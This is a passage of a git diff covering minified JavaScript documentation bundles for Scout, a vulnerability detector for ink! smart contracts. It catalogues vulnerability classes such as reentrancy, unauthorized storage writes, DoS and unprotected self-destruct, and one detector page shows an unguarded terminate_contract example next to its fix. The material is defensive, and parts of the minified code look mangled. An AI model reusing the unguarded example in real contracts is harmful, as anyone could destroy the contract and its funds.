",(0,i.kt)("em",{parentName:"p"},"unauthorized")," set contract storage vulnerability happens when a smart contract call allows a user to set or modify contract memory when they were not supposed to be authorized."),(0,i.kt)("p",null,"Common practice is to have functions with the ability to change\nsecurity-relevant values in memory to be only accessible to specific roles,\ne.g, only an admin can call the function ",(0,i.kt)("inlineCode",{parentName:"p"},"reset()")," which resets auction values.\nWhen this does not happen, arbitrary users may alter memory which may impose\ngreat damage to the smart contract users."),(0,i.kt)("p",null,"We classified this type of vulnerability under\nthe ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Authorization")," category and assigned it a\nCritical severity."),(0,i.kt)("p",null,"In ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," the function ",(0,i.kt)("inlineCode",{parentName:"p"},"set_contract_storage(key: &K, value: &V)")," can be used\nto modify the contract storage under a given key. When a smart contract uses\nthis function, the contract needs to check if the caller should be able to\nalter this storage. If this does not happen, an arbitary caller may modify\nbalances and other relevant contract storage."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/set-contract-storage"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"3---reentrancy"},"3 - Reentrancy"),(0,i.kt)("p",null,"An ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," smart contract can interact with other smart contracts. These\noperations imply (external) calls where control flow is passed to the called\ncontract until the execution of the called code is over, then the control is\ndelivered back to the caller. A ",(0,i.kt)("em",{parentName:"p"},"reentrancy")," vulnerability may happen when a\nuser calls a function, this function calls a malicious contract which again\ncalls this same function, and this 'reentrancy' has unexpected reprecussions\nto the contract."),(0,i.kt)("p",null,"This kind of attack was used in Ethereum for\n",(0,i.kt)("a",{parentName:"p",href:"https://www.economist.com/finance-and-economics/2016/05/19/the-dao-of-accrue"},"the infamous DAO Hack"),"."),(0,i.kt)("p",null,"This vulnerability may be prevented with the use of the Check-Effect-Interaction\npattern that dictates that we first evaluate (check) if the necessary conditions\nare granted, next we record the effects of the interaction and finally we\nexecute the interaction (e.g., check if the user has funds, substract the funds\nfrom the records, then transfer the funds). There's also so-called\n",(0,i.kt)("em",{parentName:"p"},"reentrancy guards")," which prevent the marked piece of code to be called twice\nfrom the same contract call. When the vulnerability may be exercised, the\nsuccessive calls to the contract may allow the malicious contract to execute a\nfunction partially many times, e.g., transfering funds many times but\nsubstracting the funds only once."),(0,i.kt)("p",null,"We classified this type of vulnerability under\nthe ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Reentrancy")," category and assigned it a\nCritical severity."),(0,i.kt)("p",null,"In the context of ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," Substrate smart contracts there are controls\npreventing reentrancy which could be turned off (validly) using the flag\n",(0,i.kt)("inlineCode",{parentName:"p"},"set_allow_reentry(true)"),"."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/reentrancy"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"4---panic-error"},"4 - Panic error"),(0,i.kt)("p",null,"The use of the ",(0,i.kt)("inlineCode",{parentName:"p"},"panic!")," macro to stop execution when a condition is not met is\nuseful for testing and prototyping but should be avoided in production code.\nUsing ",(0,i.kt)("inlineCode",{parentName:"p"},"Result")," as the return type for functions that can fail is the idiomatic\nway to handle errors in Rust."),(0,i.kt)("p",null,"We classified this issue, a deviation from best practices which could have\nsecurity implications, under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling")," category and assigned it an Enhancement severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/panic-error"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"5---unused-return-enum"},"5 - Unused return enum"),(0,i.kt)("p",null,(0,i.kt)("inlineCode",{parentName:"p"},"Ink!")," messages can return a ",(0,i.kt)("inlineCode",{parentName:"p"},"Result")," ",(0,i.kt)("inlineCode",{parentName:"p"},"enum")," with a custom error type. This is\nuseful for the caller to know what went wrong when the message fails. The\ndefinition of the ",(0,i.kt)("inlineCode",{parentName:"p"},"Result")," type enum consists of two variants: Ok and Err. If\nany of the variants is not used, the code could be simplified or it could imply\na bug."),(0,i.kt)("p",null,"We put this vulnerability under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling category"),"\nwith a Minor Severity."),(0,i.kt)("p",null,"In our example, we see how lack of revision on the usage of both types (",(0,i.kt)("inlineCode",{parentName:"p"},"Ok"),"\nand ",(0,i.kt)("inlineCode",{parentName:"p"},"Err"),") leads to code where its intended functionality is not realized."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/unused-return-enum"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"6---dos-unbounded-operation"},"6 - DoS unbounded operation"),(0,i.kt)("p",null,"Each block in a Substrate Blockchain has an upper bound on the amount of gas\nthat can be spent, and thus the amount of computation that can be done. This\nis the Block Gas Limit. If the gas spent by a function call on an ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," smart\ncontract exceeds this limit, the transaction will fail. Sometimes it is the\ncase that the contract logic allows a malicious user to modify conditions\nso that other users are forced to exhaust gas on standard function calls."),(0,i.kt)("p",null,"In order to prevent a single transaction from consuming all the gas in a block,\nunbounded operations must be avoided. This includes loops that do not have a\nbounded number of iterations, and recursive calls."),(0,i.kt)("p",null,"We classified this type of vulnerability under\nthe ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Denial of Service")," category and assigned it a\nMedium severity."),(0,i.kt)("p",null,"A denial of service vulnerability allows the exploiter to hamper the\navailability of a service rendered by the smart contract. In the context\nof ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," smart contracts, it can be caused by the exhaustion of gas,\nstorage space, or other failures in the contract's logic."),(0,i.kt)("p",null,"Needless to say, there are many different ways to cause a DoS vulnerability.\nThis case is relevant and introduced repeatedly by the developer untrained in\nweb3 environments."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/dos-unbounded-operation"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"7---dos-unexpected-revert-with-vector"},"7 - DoS unexpected revert with vector"),(0,i.kt)("p",null,"Another type of Denial of Service attack is called unexpected revert. It occurs\nby preventing transactions by other users from being successfully executed\nforcing the blockchain state to revert to its original state."),(0,i.kt)("p",null,"This vulnerability again falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Denial of Service")," category\nand has a Medium severity."),(0,i.kt)("p",null,"In this particular example, a Denial of Service through unexpected revert is\naccomplished by exploiting a smart contract that does not manage storage size\nerrors correctly. It can be prevented by using Mapping instead of Vec to avoid\nstorage limit problems."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/dos-unexpected-revert-with-vector"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"8---unsafe-expect"},"8 - Unsafe expect"),(0,i.kt)("p",null,"In Rust, the ",(0,i.kt)("inlineCode",{parentName:"p"},"expect")," method is commonly used for error handling. It retrieves the value from a ",(0,i.kt)("inlineCode",{parentName:"p"},"Result")," or ",(0,i.kt)("inlineCode",{parentName:"p"},"Option")," and panics with a specified error message if an error occurs. However, using ",(0,i.kt)("inlineCode",{parentName:"p"},"expect")," can lead to unexpected program crashes."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling")," category\nand has a Medium severity."),(0,i.kt)("p",null,"In our example, we see an exploit scenario involving a contract using the ",(0,i.kt)("inlineCode",{parentName:"p"},"expect")," method in a function that retrieves the balance of an account. If there is no entry for the account, the contract panics and halts execution, enabling malicious exploitation."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/unsafe-expect"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"9---unsafe-unrwap"},"9 - Unsafe unrwap"),(0,i.kt)("p",null,"This vulnerability class pertains to the inappropriate usage of the ",(0,i.kt)("inlineCode",{parentName:"p"},"unwrap")," method in Rust, which is commonly employed for error handling. The ",(0,i.kt)("inlineCode",{parentName:"p"},"unwrap")," method retrieves the inner value of an ",(0,i.kt)("inlineCode",{parentName:"p"},"Option")," or ",(0,i.kt)("inlineCode",{parentName:"p"},"Result"),", but if an error or ",(0,i.kt)("inlineCode",{parentName:"p"},"None")," occurs, it triggers a panic and crashes the program."),(0,i.kt)("p",null,"This vulnerability again falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling")," category and has a Medium severity."),(0,i.kt)("p",null,"In our example, we consider an contract that utilizes the ",(0,i.kt)("inlineCode",{parentName:"p"},"unwrap")," method to retrieve the balance of an account from a mapping. If there is no entry for the specified account, the contract will panic and abruptly halt execution, opening avenues for malicious exploitation."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/unsafe-unwrap"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"10---divide-before-multiply"},"10 - Divide before multiply"),(0,i.kt)("p",null,"This vulnerability class relates to the order of operations in Rust, specifically in integer arithmetic. Performing a division operation before a multiplication can lead to a loss of precision. This issue becomes significant in programs like smart contracts where numerical precision is crucial."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Arithmetic")," category\nand has a Medium Severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/divide-before-multiply"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"11---delegate-call"},"11 - Delegate call"),(0,i.kt)("p",null,"Delegate calls can introduce security vulnerabilities if not handled carefully. The main idea is that delegate calls to contracts passed as arguments can be used to change the expected behavior of the contract, leading to potential attacks. It is important to validate and restrict delegate calls to trusted contracts, implement proper access control mechanisms, and carefully review external contracts to prevent unauthorized modifications, unexpected behavior, and potential exploits. By following these best practices, developers can enhance the security of their smart contracts and mitigate the risks associated with delegate calls."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Authorization")," category\nand has a Critical severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/delegate-call"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"12---zero-or-test-address"},"12 - Zero or test address"),(0,i.kt)("p",null,"The assignment of the zero address to a variable in a smart contract represents a critical vulnerability because it can lead to loss of control over the contract. This stems from the fact that the zero address does not have an associated private key, which means it's impossible to claim ownership, rendering any contract assets or functions permanently inaccessible."),(0,i.kt)("p",null,"Assigning a test address can also have similar implications, including the loss of access or granting access to a malicious actor if its private keys are not handled with care."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling")," category\nand has a Medium severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/zero-or-test-address"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"13---insufficiently-random-values"},"13 - Insufficiently random values"),(0,i.kt)("p",null,"Using block attributes like ",(0,i.kt)("inlineCode",{parentName:"p"},"block_timestamp")," or ",(0,i.kt)("inlineCode",{parentName:"p"},"block_number")," for random number generation in ink! Substrate smart contracts is not recommended due to the predictability of these values. Block attributes are publicly visible and deterministic, making it easy for malicious actors to anticipate their values and manipulate outcomes to their advantage. Furthermore, validators could potentially influence these attributes, further exacerbating the risk of manipulation. For truly random number generation, it's important to use a source that is both unpredictable and external to the blockchain environment, reducing the potential for malicious exploitation."),(0,i.kt)("p",null,"This vulnerability again falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Block attributes")," category\nand has a Critical severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/insufficiently-random-values"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"14---unrestricted-transfer-from"},"14 - Unrestricted transfer from"),(0,i.kt)("p",null,"In an ink! Substrate smart contract, allowing unrestricted ",(0,i.kt)("inlineCode",{parentName:"p"},"transfer_from")," operations poses a significant vulnerability. When ",(0,i.kt)("inlineCode",{parentName:"p"},"from")," arguments for that function is provided directly by the user, this might enable the withdrawal of funds from any actor with token approval on the contract. This could result in unauthorized transfers and loss of funds. To mitigate this vulnerability, instead of allowing an arbitrary ",(0,i.kt)("inlineCode",{parentName:"p"},"from")," address, the ",(0,i.kt)("inlineCode",{parentName:"p"},"from")," address should be restricted, ideally to the address of the caller (",(0,i.kt)("inlineCode",{parentName:"p"},"self.env().caller()"),"), ensuring that the sender can initiate a transfer only with their own tokens."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling")," category\nand has a Critical severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/unrestricted-transfer-from"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"15---assert-violation"},"15 - Assert violation"),(0,i.kt)("p",null,"The ",(0,i.kt)("inlineCode",{parentName:"p"},"assert!")," macro is used in Rust to ensure that a certain condition holds true at a certain point in your code. If the condition does not hold, then the assert! macro will cause the program to panic. This is a problem, as seen in ",(0,i.kt)("a",{parentName:"p",href:"#4-panic-error"},"panic-error")),(0,i.kt)("p",null,"We classified this issue, a deviation from best practices which could have\nsecurity implications, under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling")," category and assigned it an Enhancement severity."),(0,i.kt)("h3",{id:"16---avoid-corememforget"},"16 - Avoid core::mem::forget"),(0,i.kt)("p",null,"The ",(0,i.kt)("inlineCode",{parentName:"p"},"core::mem::forget")," function is used to forget about a value without running its destructor. This could lead to memory leaks and logic errors."),(0,i.kt)("p",null,"We classified this issue, a deviation from best practices which could have\nsecurity implications, under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Best practices")," category and assigned it an Enhancement severity."),(0,i.kt)("h3",{id:"17---avoid-format-macro"},"17 - Avoid format! macro"),(0,i.kt)("p",null,"The ",(0,i.kt)("inlineCode",{parentName:"p"},"format!")," macro is used to create a String from a given set of arguments. This macro is not recommended, it is better to use a custom error type enum."),(0,i.kt)("p",null,"We classified this issue, a deviation from best practices which could have\nsecurity implications, under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling")," category and assigned it an Enhancement severity."),(0,i.kt)("h3",{id:"18---unprotected-self-destruct"},"18 - Unprotected self destruct"),(0,i.kt)("p",null,"If users are allowed to call ",(0,i.kt)("inlineCode",{parentName:"p"},"terminate_contract"),", they can intentionally or accidentally destroy the contract, leading to the loss of all associated data and functionalities given by this contract or by others that depend on it. To prevent this, the function should be restricted to administrators or authorized users only."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Authorization")," category\nand has a Critical severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/unprotected-self-destruct"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"19---iterators-over-indexing"},"19 - Iterators over indexing"),(0,i.kt)("p",null,"The use of iterators over indexing is a best practice that should be followed in Rust. This is because accessing a vector by index is slower than using an iterator. Also, if the index is out of bounds, it will panic."),(0,i.kt)("p",null,"We classified this issue, a deviation from best practices which could have\nsecurity implications, under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Best practices")," category and assigned it an Enhancement severity."),(0,i.kt)("h3",{id:"20---ink-version"},"20 - Ink version"),(0,i.kt)("p",null,"Using an old version of ink! can be dangerous, as it may have bugs or security issues. Use the latest version available."),(0,i.kt)("p",null,"We classified this issue, a deviation from best practices which could have\nsecurity implications, under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Best practices")," category and assigned it an Enhancement severity."),(0,i.kt)("h3",{id:"21---unprotected-set-code-hash"},"21 - Unprotected set code hash"),(0,i.kt)("p",null,"If users are allowed to call ",(0,i.kt)("inlineCode",{parentName:"p"},"set_code_hash"),", they can intentionally modify the contract behaviour, leading to the loss of all associated data/tokens and functionalities given by this contract or by others that depend on it. To prevent this, the function should be restricted to administrators or authorized users only."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Authorization")," category\nand has a Critical severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/unprotected-set-code-hash"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"22---unprotected-mapping-operation"},"22 - Unprotected mapping operation"),(0,i.kt)("p",null,"Modifying mappings with an arbitrary key given by the user could lead to unintented modifications of critical data, modifying data belonging to other users, causing denial of service, unathorized access, and other potential issues."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Validations and error handling")," category\nand has a Critical severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/unprotected-mapping-operation"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"23---lazy-storage-on-delegate"},"23 - Lazy storage on delegate"),(0,i.kt)("p",null,"A bug in ink! causes delegated calls to not modify the caller's storage unless Lazy with ManualKey or Mapping is used."),(0,i.kt)("p",null,"This vulnerability falls under the ",(0,i.kt)("a",{parentName:"p",href:"#vulnerability-categories"},"Known Bugs")," category\nand has a Critical severity."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/lazy-delegate"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"24---incorrect-exponentiation"},"24 - Incorrect exponentiation"),(0,i.kt)("p",null,"It's common to use ",(0,i.kt)("inlineCode",{parentName:"p"},"^")," for exponentiation. However in Rust, ",(0,i.kt)("inlineCode",{parentName:"p"},"^")," is the XOR operator. If the ",(0,i.kt)("inlineCode",{parentName:"p"},"^")," operator is used, it could lead to unexpected behaviour in the contract. It's recommended to use the method ",(0,i.kt)("inlineCode",{parentName:"p"},"pow()")," for exponentiation or ",(0,i.kt)("inlineCode",{parentName:"p"},".bitxor()")," for XOR operations."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/incorrect-exponentiation"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"25---buffering-unsized-types"},"25 - Buffering unsized types"),(0,i.kt)("p",null,"The static buffer in ink! defaults to 16KB in size. If data overgrows this size, the contract will panic. Instead, when working with dynamically sized values, use fallible storage methods."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/buffering-unsized-types"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"26---avoid-unsafe-block"},"26 - Avoid unsafe block"),(0,i.kt)("p",null,"Avoid using the ",(0,i.kt)("inlineCode",{parentName:"p"},"unsafe")," block in Rust, as it can lead to memory unsafety and undefined behavior."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/avoid-unsafe-block"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"27---warning-sr25519_verify"},"27 - Warning sr25519_verify"),(0,i.kt)("p",null,"It is clear that any production code should not rely on unstable features, as they may change in future versions of the language. This is the case for ",(0,i.kt)("inlineCode",{parentName:"p"},"sr25529_verify")," method."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/warning-sr25519-verify"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"28---lazy-values-not-set"},"28 - Lazy values not set"),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/lazy-values-not-set"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"29---avoid-autokey-upgradable"},"29 - Avoid autokey upgradable"),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/avoid-autokey-upgradable"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"30---non-payable-transferred-value"},"30 - Non payable transferred value"),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/non-payable-transferred-value"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"31---vector-of-tuples-could-be-mapping"},"31 - Vector of tuples could be mapping"),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/vec-could-be-mapping"},"documentation")," for a more detailed explanation of this vulnerability class."),(0,i.kt)("h3",{id:"32---dont-use-invoke-contract-v1"},"32 - Don't use invoke contract v1"),(0,i.kt)("p",null,"This is a low level way to evaluate another smart contract. Prefer to use the ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," guided and type safe approach to using this."),(0,i.kt)("p",null,"Check the following ",(0,i.kt)("a",{parentName:"p",href:"/scout/docs/vulnerabilities/dont-use-invoke-contract-v1"},"documentation")," for a more detailed explanation of this vulnerability class."))}p.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/1535e1e7.ccb66765.js b/assets/js/1535e1e7.98ca25bc.js similarity index 62% rename from assets/js/1535e1e7.ccb66765.js rename to assets/js/1535e1e7.98ca25bc.js index e715eaa4..9b0fe460 100644 --- a/assets/js/1535e1e7.ccb66765.js +++ b/assets/js/1535e1e7.98ca25bc.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[2188],{9613:(e,t,r)=>{r.d(t,{Zo:()=>d,kt:()=>m});var n=r(9496);function o(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function a(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function c(e){for(var t=1;t=0||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}var s=n.createContext({}),l=function(e){var t=n.useContext(s),r=t;return e&&(r="function"==typeof e?e(t):c(c({},t),e)),r},d=function(e){var t=l(e.components);return n.createElement(s.Provider,{value:t},e.children)},u="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},f=n.forwardRef((function(e,t){var r=e.components,o=e.mdxType,a=e.originalType,s=e.parentName,d=i(e,["components","mdxType","originalType","parentName"]),u=l(r),f=o,m=u["".concat(s,".").concat(f)]||u[f]||p[f]||a;return r?n.createElement(m,c(c({ref:t},d),{},{components:r})):n.createElement(m,c({ref:t},d))}));function m(e,t){var r=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=r.length,c=new Array(a);c[0]=f;var i={};for(var s in t)hasOwnProperty.call(t,s)&&(i[s]=t[s]);i.originalType=e,i[u]="string"==typeof e?e:o,c[1]=i;for(var l=2;l{r.r(t),r.d(t,{assets:()=>s,contentTitle:()=>c,default:()=>p,frontMatter:()=>a,metadata:()=>i,toc:()=>l});var n=r(2564),o=(r(9496),r(9613));const a={},c="Unprotected self destruct",i={unversionedId:"detectors/unprotected-self-destruct",id:"detectors/unprotected-self-destruct",title:"Unprotected self destruct",description:"What it does",source:"@site/docs/detectors/18-unprotected-self-destruct.md",sourceDirName:"detectors",slug:"/detectors/unprotected-self-destruct",permalink:"/scout/docs/detectors/unprotected-self-destruct",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/18-unprotected-self-destruct.md",tags:[],version:"current",sidebarPosition:18,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Avoid fromat! macro usage",permalink:"/scout/docs/detectors/avoid-format-string"},next:{title:"Iterators over indexing",permalink:"/scout/docs/detectors/iterators-over-indexing"}},s={},l=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Known problems",id:"known-problems",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],d={toc:l},u="wrapper";function p(e){let{components:t,...r}=e;return(0,o.kt)(u,(0,n.Z)({},d,r,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"unprotected-self-destruct"},"Unprotected self destruct"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"It warns you if ",(0,o.kt)("inlineCode",{parentName:"p"},"terminate_contract")," function is called without a previous check of the address of the caller."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"If users are allowed to call ",(0,o.kt)("inlineCode",{parentName:"p"},"terminate_contract"),", they can intentionally or accidentally destroy the contract, leading to the loss of all associated data and functionalities given by this contract or by others that depend on it."),(0,o.kt)("h3",{id:"known-problems"},"Known problems"),(0,o.kt)("p",null,"None."),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn delete_contract(&mut self, beneficiary: AccountId) {\n self.env().terminate_contract(beneficiary)\n }\n")),(0,o.kt)("p",null,"Use instead:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},"pub fn delete_contract(&mut self, beneficiary: AccountId) {\n if self.admin == self.env().caller() {\n self.env().terminate_contract(beneficiary)\n }\n }\n")),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/unprotected-self-destruct"},"this link"),"."))}p.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[2188],{9613:(e,t,r)=>{r.d(t,{Zo:()=>d,kt:()=>m});var n=r(9496);function o(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function a(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function c(e){for(var t=1;t=0||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}var s=n.createContext({}),l=function(e){var t=n.useContext(s),r=t;return e&&(r="function"==typeof e?e(t):c(c({},t),e)),r},d=function(e){var t=l(e.components);return n.createElement(s.Provider,{value:t},e.children)},u="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},f=n.forwardRef((function(e,t){var r=e.components,o=e.mdxType,a=e.originalType,s=e.parentName,d=i(e,["components","mdxType","originalType","parentName"]),u=l(r),f=o,m=u["".concat(s,".").concat(f)]||u[f]||p[f]||a;return r?n.createElement(m,c(c({ref:t},d),{},{components:r})):n.createElement(m,c({ref:t},d))}));function m(e,t){var r=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=r.length,c=new Array(a);c[0]=f;var i={};for(var s in t)hasOwnProperty.call(t,s)&&(i[s]=t[s]);i.originalType=e,i[u]="string"==typeof e?e:o,c[1]=i;for(var l=2;l{r.r(t),r.d(t,{assets:()=>s,contentTitle:()=>c,default:()=>p,frontMatter:()=>a,metadata:()=>i,toc:()=>l});var n=r(2564),o=(r(9496),r(9613));const a={},c="Unprotected self destruct",i={unversionedId:"detectors/unprotected-self-destruct",id:"detectors/unprotected-self-destruct",title:"Unprotected self destruct",description:"What it does",source:"@site/docs/detectors/18-unprotected-self-destruct.md",sourceDirName:"detectors",slug:"/detectors/unprotected-self-destruct",permalink:"/scout/docs/detectors/unprotected-self-destruct",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/18-unprotected-self-destruct.md",tags:[],version:"current",sidebarPosition:18,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Avoid fromat! macro usage",permalink:"/scout/docs/detectors/avoid-format-string"},next:{title:"Iterators over indexing",permalink:"/scout/docs/detectors/iterators-over-indexing"}},s={},l=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],d={toc:l},u="wrapper";function 